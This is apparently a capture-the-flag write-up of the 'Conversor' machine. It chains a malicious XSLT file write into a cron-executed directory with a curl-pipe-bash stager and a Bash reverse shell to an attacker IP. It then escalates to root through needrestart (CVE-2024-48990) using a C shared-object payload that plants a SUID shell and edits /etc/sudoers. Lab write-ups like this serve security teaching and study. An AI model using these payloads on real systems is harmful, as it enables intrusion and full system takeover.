Conversor – XSLT Processing to Root (Cron RCE + needrestart Privesc)
0. Summary
The full chain, step by step:
- Enumerate web app and identify XML + XSLT conversion feature
- Review server-side conversion flow:
etree.XSLT()executes user-supplied XSLT - Achieve a file-write primitive via XSLT processing (EXSLT multi-output behavior / environment dependent)
- Leverage server cron job that executes
/var/www/conversor.htb/scripts/*.pyaswww-data - Obtain initial shell as
www-data - Read application DB (
SQLite) to extract MD5 password hashes - Offline recovery of credentials → SSH access as a local user
sudo -lreveals NOPASSWD execution of/usr/sbin/needrestart- Confirm vulnerable version (
needrestart v3.7) and apply PYTHONPATH hijacking (CVE-2024-48990) - Root shell obtained
1. Initial Recon
1-1. Port scan
nmap -sC -sV -p- 10.10.11.92
1-2. Web entrypoints observed
/login,/register/convert(XML + XSLT upload)/view/<file_id>(result viewer)
2. Source Review – Why XSLT is the Real Boundary
2-1. Critical server-side execution point
The application parses attacker-supplied XSLT and executes it via lxml:
xslt_tree = etree.parse(xslt_path)
transform = etree.XSLT(xslt_tree)
result_tree = transform(xml_tree)
XML parser hardening helps against XXE-style issues, but it does not sandbox XSLT execution. XSLT is executable logic and can expose filesystem primitives depending on the XSLT engine configuration.
2-2. Common pitfall: Markdown in XML namespaces
While building test transforms, an error occurred due to mistakenly pasting Markdown-style links into xmlns::
Error: xmlns:xsl: '[http://www.w3.org/1999/XSL/Transform](http://www.w3.org/1999/XSL/Transform)' is not a valid URI
Fix: namespace URIs must be plain URIs (no brackets/parentheses).
3. Server Automation – Cron Executes scripts/*.py
3-1. Deployment notes revealed cron behavior
The shipped deployment documentation describes a periodic cleanup job pattern and includes an example cron line
that executes all Python scripts under /var/www/conversor.htb/scripts as www-data.
3-2. Confirm cron configuration on target
cat /etc/crontab
Observed behavior: periodic execution of:
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
Any attacker-controlled file write into
/var/www/conversor.htb/scripts/ becomes “hands-free” code execution within one minute.
4. Foothold – www-data Shell via XSLT → File Write → Cron RCE
This stage chains three small, individually simple components into reliable code execution: a reverse shell payload, a Python stager written to disk, and a malicious XSLT transform that abuses server-side XSLT execution to perform an arbitrary file write.
XSLT is executed immediately during XML transformation, but the payload itself is not. Instead, XSLT is used to persist a Python script into a directory that is periodically executed by cron, turning a file-write primitive into delayed RCE.
4-1. Payload Overview
| Payload | Purpose |
|---|---|
shell.sh |
Final reverse shell executed on the victim |
shell.py |
Python stager executed by cron, responsible for fetching and running shell.sh |
shell.xslt |
Malicious XSLT used to write shell.py onto the victim filesystem |
4-2. Payload 1 – Reverse Shell (shell.sh)
The final shell payload is a minimal Bash reverse shell. This file is hosted on the attacker machine and never uploaded directly through the web application.
# Attacker machine
echo '#!/bin/bash' > shell.sh
echo 'bash -i >& /dev/tcp/10.10.14.81/9001 0>&1' >> shell.sh
10.10.14.81: attacker IP9001: listener port
Keeping the reverse shell separate allows the on-target payload to stay extremely small and avoids embedding noisy shell logic directly into the XSLT output.
4-3. Payload 2 – Cron-Executed Python Stager (shell.py)
The cron job on the target periodically executes every Python script under
/var/www/conversor.htb/scripts/.
The stager’s only responsibility is to download and execute shell.sh.
import os
os.system("curl 10.10.14.81:8000/shell.sh | bash")
10.10.14.81:8000: attacker-controlled Python HTTP server| bash: directly pipes the downloaded script into Bash
Any writable file placed in a cron-executed directory becomes code execution without further interaction. Cron effectively removes the need for a synchronous exploit trigger.
4-4. Payload 3 – XSLT File-Write Exploit (shell.xslt)
The final piece is the malicious XSLT file uploaded through the conversion feature.
When processed server-side, it uses EXSLT multi-output functionality to write
shell.py directly into the cron directory.
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:shell="http://exslt.org/common"
extension-element-prefixes="shell">
<xsl:template match="/">
<shell:document
href="/var/www/conversor.htb/scripts/shell.py"
method="text">
import os
os.system("curl 10.10.14.81:8000/shell.sh | bash")
</shell:document>
</xsl:template>
</xsl:stylesheet>
The exploit does not rely on command execution inside XSLT itself. Instead, it abuses XSLT as a filesystem write primitive, which is far more flexible and pairs dangerously well with unsafe automation like cron.
4-5. Execution Result
Once the XSLT transform is processed and the file is written, cron executes the Python stager
within one minute, resulting in a reverse shell as www-data.
whoami
id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
XSLT → file write → cron execution creates a clean, deterministic initial foothold without race conditions or fragile timing assumptions.
5. Post-Exploitation – Application Database (SQLite)
5-1. Locate DB
cd /var/www/conversor.htb/instance
ls -la
users.db
5-2. Inspect schema and users
sqlite3 users.db
.tables
.schema users
SELECT * FROM users;
Observed user records (example):
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|asdf|135e60050cd04546bcec868aefe00570
6|asdfasdf|6a204bd89f3c8348afd5c77c717a097a
The password column is a 32-hex digest, consistent with the application’s
hashlib.md5(...).hexdigest() usage.
6. Credential Pivot – Web Hashes → SSH User
Offline password recovery succeeded (hash cracking / password reuse theme). The recovered credentials were then used to access the system user via SSH.
6-1. SSH access
ssh <user>@10.10.11.92
7. Privilege Escalation Discovery – sudo needrestart
7-1. Sudo permissions
sudo -l
User f****** may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
A root-executed binary is available without a password. If it can be coerced into loading attacker-controlled code, this becomes a direct privesc path.
7-2. Version check
/usr/sbin/needrestart -v
[main] needrestart v3.7
8. Privilege Escalation – needrestart v3.7 via PYTHONPATH Hijacking (CVE-2024-48990)
The final escalation leverages unsafe module loading behavior in
needrestart v3.7. Because the binary is executed as root via
sudo and inspects running Python processes, it can be coerced into
importing attacker-controlled modules through a hijacked PYTHONPATH.
A privileged diagnostic tool imports Python modules while trusting user-controlled environment variables. When combined with
sudo NOPASSWD, this becomes a deterministic root code execution path.
8-1. Exploit Architecture
| Component | Role |
|---|---|
__init__.so |
Malicious native Python module executed automatically on import |
lib.c |
C source for the shared object payload |
runner.sh |
Sets up the PYTHONPATH hijack and launches a bait Python process |
e.py |
Long-running bait process scanned by needrestart |
8-2. Payload 1 – Root-Level Shared Object (__init__.so)
The primary payload is a native shared object compiled as
__init__.so. Because it is named as a Python package initializer,
it executes immediately when imported.
A GCC constructor attribute ensures the payload runs automatically on load, before any Python-level logic.
/* lib.c - malicious shared object */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void a() __attribute__((constructor));
void a() {
if (geteuid() == 0) {
setuid(0);
setgid(0);
const char *shell =
"cp /bin/sh /tmp/poc; "
"chmod u+s /tmp/poc; "
"grep -qxF 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' /etc/sudoers || "
"echo 'ALL ALL=(ALL) NOPASSWD: /tmp/poc' >> /etc/sudoers";
system(shell);
}
}
Native modules execute immediately upon import and bypass most Python-level safety checks. In a root context, this guarantees execution before
needrestart regains control.
8-3. Payload Compilation
The target system is x86_64 Linux. The payload is compiled as a
position-independent shared object suitable for Python imports.
# Attacker machine
gcc -shared -fPIC -o __init__.so lib.c
-shared: builds a shared object-fPIC: required for runtime loading__init__.so: forces execution during Python package import
8-4. Payload 2 – Hijack & Trigger Script (runner.sh)
The trigger script prepares a malicious Python module hierarchy,
downloads the compiled payload, and launches a long-running Python process
with a hijacked PYTHONPATH.
#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib
curl http://10.10.14.81:8000/__init__.so \
-o /tmp/malicious/importlib/__init__.so
A bait script is then launched to keep a Python process alive
for needrestart to inspect:
import time
import os
while True:
try:
import importlib
except:
pass
if os.path.exists("/tmp/poc"):
os.system("sudo /tmp/poc -p")
break
time.sleep(1)
The script is executed with a controlled module search path:
PYTHONPATH="$PWD" python3 e.py
The attacker does not invoke
needrestart from this process.
Instead, the process simply waits to be discovered by a root-run scan.
8-5. Triggering the Vulnerability
In a separate terminal, needrestart is executed via sudo:
sudo /usr/sbin/needrestart
During its scan, needrestart inspects the running Python process,
inherits its environment, and imports Python modules using the attacker-supplied
PYTHONPATH.
This causes the malicious __init__.so to be loaded as root,
immediately executing the constructor payload.
9. Root Verification
9-1. Confirm privilege
whoami
id
root
uid=0(root) gid=0(root) groups=0(root)
10. Security Takeaways
| Weakness | Impact in This Chain |
|---|---|
| User-controlled XSLT execution | XSLT is executable logic; unsafe execution can expose filesystem and code execution primitives |
| Insecure automation (cron executes writable scripts) | Turns a file write primitive into scheduled RCE |
| Weak password hashing (MD5) | Hash recovery enables credential pivoting and reuse detection |
| Sudo NOPASSWD on diagnostic tool | Expands blast radius; environment/module loading bugs become instant root |
| Environment/module loading trust (PYTHONPATH) | Root process importing attacker-controlled code is game over |
11. Key Takeaways
- XSLT is not “just a template”. Treat it like code execution unless sandboxed.
- Never let cron execute from web-writable directories. That’s RCE as a service.
- MD5 is not acceptable for passwords. Use bcrypt/argon2 with per-user salt.
- Be extremely careful with NOPASSWD sudo rules. Especially for tools that inspect or load code.
- Privileged tools must sanitize environment variables. Don’t trust PYTHONPATH/LD_* variables in root context.
Overall: multiple “small” misconfigurations aligned into a clean, deterministic full compromise.